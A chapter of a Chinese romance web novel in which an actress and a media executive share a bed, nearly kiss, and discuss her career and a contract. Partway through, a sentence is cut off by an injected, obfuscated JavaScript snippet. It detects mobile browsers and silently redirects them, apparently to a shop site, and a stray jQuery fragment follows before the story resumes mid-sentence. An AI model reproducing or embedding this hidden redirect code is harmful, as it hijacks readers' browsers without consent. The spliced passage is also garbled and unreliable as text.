浴室的水声停了。


    许意欢坐在主卧宽敞的大床边缘，手指无意识地揪着棉质睡裙柔软的裙摆。


    她其实没什么事可做——晚饭后她先回客房洗了澡，此刻周身都散发着沐浴后干净温暖的气息，头发吹干，松散地披在肩头。


    她只是在等。


    等主卧浴室门打开，等那个人带着一身水汽走出来，等这个夜晚以一种心照不宣的方式展开。


    水声消失后的寂静里，她的心跳声似乎被放大了。


    目光扫过这间比她客房大了一倍不止的卧室，冷色调的简约装潢，线条利落的家具，巨大的落地窗外是沉沉的夜色和遥远的城市光点。


    空气里弥漫着一种更沉静、更冷冽的木质香，是他惯用的卧室香氛。


    一切都标示着这是他的绝对领域，而她，是一个正在被缓慢接纳进来的闯入者。


    门被打开。


    商里湖走了出来。


    黑发湿漉，水珠顺着脖颈利落的线条滑下，没入深灰色浴袍微敞的领口。


    浴袍带子松垮地系着，露出小片结实的胸膛。


    他手里拿着毛巾，随意地擦着头发，看到坐在床边的她，动作几不可察地顿了一下，随即恢复自然。


    “还没睡？”他走到床边，将毛巾扔在一边的扶手椅上。


    “嗯。”许意欢应了一声，抬起眼，目光落在他还在滴水的发梢上。


    几乎是未经思考的，她听到自己的声音响起，带着一点尝试性的主动：“我帮你吹头发吧？”


    这提议算是讨好，还是她尝试缓解自己紧张的无措举动，她也分不清。


    商里湖也看了她一眼，深邃的眼眸在暖黄的床头灯光下显得有些幽深。


    他没有拒绝，只是微微颔首：“好。”


    许意欢起身去浴室拿出吹风机。


    回来时，他已经坐在了床沿。


    她站到他身前，打开开关，温热的风和嗡嗡声瞬间充斥了两人之间狭小的空间。


    她伸出手，指尖有些迟疑地穿过他浓密的黑发。


    发质比想象中硬一些，湿漉漉的，触感微凉。


    她小心地拨动着，让热风均匀地扫过。


    起初，他是背对着她坐的。


    吹了片刻，商里湖忽然动了一下。


    他转过身，变成了面对着她的姿势。


    这个变化让许意欢的动作一滞。


    距离瞬间被拉近。


    她站着，他坐着，高度差让他平视的位置刚好落在她的胸口。


    她的指尖还停留在他发间，而他抬起眼，目光自下而上地望过来，带着沐浴后的松弛和一种毫不掩饰的、直白的审视。


    他什么也没说，就这么看着她，任由她继续动作。


    许意欢的呼吸微微收紧。


    她强迫自己将注意力放回手上的动作，避开他的视线。


    可即使不看他，也能清晰地感觉到那道目光的重量，像是实质般熨帖在她的皮肤上。


    水汽被热风蒸腾，混合着她身上淡淡的、花果调的沐浴露香气，和他浴袍上清爽的气味，氤氲出一种潮湿而私密的氛围。


    嗡嗡的风声成了唯一的背景音，反而让这方寸之间的沉默更加粘稠。


    她站得离他很近，近到能感受到他身体散发出的热度，透过薄薄的浴袍面料传来。


    他宽阔的肩膀，微微起伏的胸膛，还有那两条随意敞开的、线条紧实的长腿……


    一切都带着强烈的存在感和无声的侵略性。


    指尖穿梭在发间的触感，他落在她身上的目光，空气中弥漫的混合气息，还有这过于亲密的距离……


    某种无声的张力在悄然滋长，像藤蔓般缠绕上来，让许意欢的心跳不由自主地加快，脸颊也隐隐发烫。


    她甚至能感觉到自己身体深处某种陌生的、难以言喻的躁动，正在被这暧昧的氛围一点点唤醒。


    吹风机的嗡嗡声停了。


    最后一缕湿发也被吹干，蓬松地搭在他额前。


    许意欢关掉开关，房间里瞬间恢复了寂静。


    那寂静里，方才被噪音掩盖的、属于两个人交织的细微呼吸声，变得格外清晰。


    “好了。”她低声说，将吹风机放在一旁，试图退开一点距离。


    商里湖“嗯”了一声，却没有动，依旧维持着面对她的姿势，目光沉沉地看着她。


    那眼神里，有未散的水汽，有审视，有某种她看不太分明、却让她心跳失序的幽暗情绪。


    几秒后，他才像是终于放过了她，收回视线。


    “不早了，睡吧。”


    许意欢听话地躺到昨晚睡的那一侧。


    床垫柔软而富有支撑力，鼻尖萦绕着属于他的、更浓郁的气息。


    她规规矩矩地躺好，双手放在身侧，身体有些僵硬。


    商里湖掀开被子躺进来，带进一阵微凉的空气和他身上清爽的味道。


    他看了一眼床头柜上的电子钟——刚过九点十分。


    然后，他伸手，“啪”一声关掉了主灯。


    房间陷入一片昏暗，只余墙角一盏光线极其微弱的夜灯，勉强勾勒出家具模糊的轮廓。


    许意欢眨了眨眼。


    昨晚，也是差不多这个时间，他还在客厅里以看电影为由，将她困在怀里。


    今晚，电影没有了，他直接判定该睡了。


    黑暗中，感官变得更加敏锐。


    她听到身边他平稳的呼吸，感受到另一侧床垫微微下陷的弧度，闻到近在咫尺的、独属于他的气息。


    起初，两人都是平躺着的，中间隔着一点礼貌的距离。


    但仅仅过了几秒钟，许意欢就听到身侧传来衣料摩擦的窸窣声。


    然后，他侧过了身，面对着她。


    她的心脏猛地一缩。


    他先是伸出手，在被子下摸索着，然后，温热的、干燥的掌心，轻轻握住了她放在身侧的手。


    许意欢的手指下意识地蜷缩了一下，但没有抽回。


    她像被施了定身咒，僵硬地任由他握着。


    得到这个默许的信号后，商里湖的手臂动了。


    他原本平放的手臂揽了过来，手掌贴着她的睡裙面料，落在了她纤细的腰侧。


    力道不重，带着试探，却也带着不容拒绝的意味。


    许意欢的身体在他手掌碰到腰际时，不受控制地绷紧了。


    她能感觉到他掌心传来的温热，和他手指在她腰侧布料上微微收拢的力度。


    她没有动，没有推开，只是屏住了呼吸。


    黑暗中，他的气息靠近了。


    不是错觉。


    她能感觉到他温热的呼吸拂过她的脸颊，带着他身上那种干净又侵略性的味道。


    他的脸在向她靠近，目标明确。


    就在他的鼻尖几乎要碰到她的脸颊，嘴唇即将寻找到她的嘴唇的刹那——


    许意欢像是被某种本能驱动，原本被他握住的那只手猛地反手抓紧了他的手臂，指甲甚至无意识地掐进了他浴袍下的皮肤。


    与此同时，一句完全不过脑、与此刻氛围格格不入的话，冲口而出：


    “光影传媒的办公室……好漂亮。”


    话音落下，她自己先懵了。


    即使再紧张，试图用这种没头没尾的话来阻止即将发生的事，还是太蠢了点。


    不过，她感觉到商里湖的动作骤然顿住了。


    他的呼吸近在咫尺，停留在她唇边几厘米的地方。


    时间仿佛凝固了，只有她狂乱的心跳声在耳边轰鸣。


    几秒令人窒息的沉默后，她听到他低低地笑了一声。


    那笑声很轻，带着胸腔轻微的震动，透过两人相触的身体传来，酥酥麻麻的。


    没有不悦，反而像是被她的笨拙取悦了。


    他没有再继续靠近，也没有退开，只是就着这个极近的距离，声音低沉地接过了她这蹩脚的话题：“喜欢？”


    “……嗯。”许意欢硬着头皮应了一声，脸颊滚烫。


    “以后你要是常去，”他的语气寻常，“让他们在那儿给你准备一间工作室。”


    然后，他竟真的退开了一些，原本几乎贴上她嘴唇的温热气息稍稍远离。


    那只揽在她腰侧的手，也松了力道，变成了松松搭着的姿势。


    他没有躺平，依旧侧身面对着她，在昏暗的光线里，目光似乎落在她脸上。


    “既然提到光影，”他的声音在夜色里显得格外平稳，带着一种引导谈话的意味，“合约的事，考虑得怎么样？如果签了，对自己的发展有什么具体想法？你自己更倾向于流量路线，快速打开知名度，还是更看重作品本身，走口碑和奖项路线？”


    话题就这样，被她一句无心的蠢话，硬生生拐上了一条意想不到的轨道。


    许意欢愣了一下，才意识到他在问什么。


    她还在为刚才的失言尴尬，却也为他真的接住了这个话题而松了口气。


    “我……”她舔了舔有些干的嘴唇，被黑暗笼罩反而更容易说出一些在光亮里需要斟酌的话，“我没太想好具体要怎么做。但……大概的方向，有的。”


    “说来听听。”


    “我……”她顿了顿，那些压在心底许久、几乎没对人完整吐露过的念头，在此刻这个黑暗、私密、而他似乎愿意倾听的氛围里，竟轻易地流淌出来，“我父亲……以前是话剧团的演员。他一辈子就爱演戏，总说戏比天大，他觉得那是天底下最了不起的事。我小时候，他就带我泡在排练场，跟我讲斯坦尼斯拉夫斯基，讲角色灵魂……虽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995247|193222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然他自己……也没演成什么。”


    她的声音低了下去，带着一丝不易察觉的怅惘。


    “我考电影学院，也是因为他。我想替他，也替自己，看看那条他没能走通的路，尽头是什么。”她深吸一口气，“所以，你问我倾向于流量还是艺术……我大概……是倾向艺术的。我想演能留下来的角色，想参与像《回声》那样，让人看了心里会留下点什么的作品。我不想只当个漂亮的背景板，或者……流量快消品。”


    她说完，有些忐忑。


    这些话，在圈内人听来或许天真，或许不合时宜。


    但商里湖没有笑她。


    他只是安静地听着，问：“然后呢？”


    “然后……”许意欢苦笑了一下，语气变得现实，“然后我也知道，光有想法没用。这个时代，没有关注度，没有一定的商业价值，可能连好剧本的门都摸不到。我父亲……就是例子。他有艺术追求，可他一辈子困在那个小剧团，没人看见他。我不想那样。我不想我的‘艺术追求’，最后变成无人问津的自娱自乐。”


    她将这些矛盾和盘托出，连自己都感到惊讶。


    她竟然能如此坦诚地，对他剖析自己的野心与恐惧，理想与妥协。


    她看不清他的表情，只能听到他平稳的呼吸。


    过了片刻，他的声音响起，冷静而清晰：“艺术和流量，不是非得选一边。好的作品需要被看见，而流量，可以成为让好作品被看见的工具。关键在于，你用流量去换什么，以及，你有没有接住流量的本事。”


    他顿了顿，继续道：“光影可以帮你做这个平衡。先通过合适的项目，打开知名度，积累观众缘和商业价值。有了这些，你才有筹码，去接触和选择那些你真正想演的、有深度的作品。一步一步来。”


    最后，他总结般地说了一句，语气里带着一种近乎肯定的力量：“你有那个底子。别浪费。”


    许意欢的心，因为这句话，轻轻地、重重地颤了一下。


    “你有那个底子。”——他认可她的专业能力。


    “别浪费。”——他对她有期待。


    这比任何情话或承诺，在这一刻，都更让她心潮起伏。


    话题一旦打开，便像开了闸的水。


    他们从职业规划，聊到行业现状，聊到一些片场趣事，甚至聊起她大学时排演过的荒诞剧。


    商里湖的话不算多，但每次开口，都切中要害，或提供新的视角。


    他展现出了对行业的深刻理解，以及……一种愿意与她交流这些正事的耐心。


    许意欢越聊，越放松。


    她发现，在这个只属于两人的黑暗空间里，面对这个男人，她竟然是信任的。


    可以谈论理想而不怕被嘲笑“不切实际”，可以承认困惑而不怕被看作“软弱”，可以表达野心而不怕被觉得“贪婪”。


    不知过了多久，许意欢的声音渐渐低了下去，被一阵无法抑制的困意取代。


    白天情绪的起伏和此刻精神的松懈，让她眼皮越来越重。


    就在她意识开始模糊的时候，一直安静听着的商里湖，忽然动了。


    他原本松松搭在她腰侧的手臂，倏然收紧，将她整个人不容分说地揽进怀里。


    她的后背瞬间贴上他温热坚实的胸膛，严丝合缝。


    他的另一条手臂也环过来，将她牢牢锁住。


    这个拥抱，像今早般紧密。


    许意欢在最初的瞬间僵硬后，身体便在他的怀抱里软化下来。


    困了，也有点……习惯了。


    她甚至无意识地在他怀里翻了个身，调整了一个更舒适的姿势，将脸埋进他胸前的衣料。


    她能清晰地听到他沉稳有力的心跳，能闻到他身上让她安心的气息。


    但与此同时，她也能感觉到——


    他身体的紧绷。


    他环抱着她的手臂，肌肉线条是硬朗的。


    他的呼吸，喷洒在她耳朵敏感的皮肤上，是灼热的，甚至带着一丝不易察觉的、克制的急促。


    他身体的某个部位，正紧紧贴着她，传递着不容忽视的存在感和……蓄势待发的热度。


    他在克制。


    这个认知，让许意欢在朦胧的睡意中，生出一种极其复杂的感受。


    是安全，是被渴望，也是……一种难以言喻的悸动。


    他没有进一步的行动。


    只是这样紧紧地抱着她，像抱着失而复得的珍宝，又像在对抗着体内奔涌的冲动。


    许意欢最后一丝清醒的意识，融化在这温暖、坚实、充满张力却又异常安稳的怀抱里。


    呼吸，终于与他渐渐同频。


    夜色深沉，主卧里只剩下两人交缠的平稳呼吸，和那份弥漫在空气中、未曾消散的、灼热的隐忍。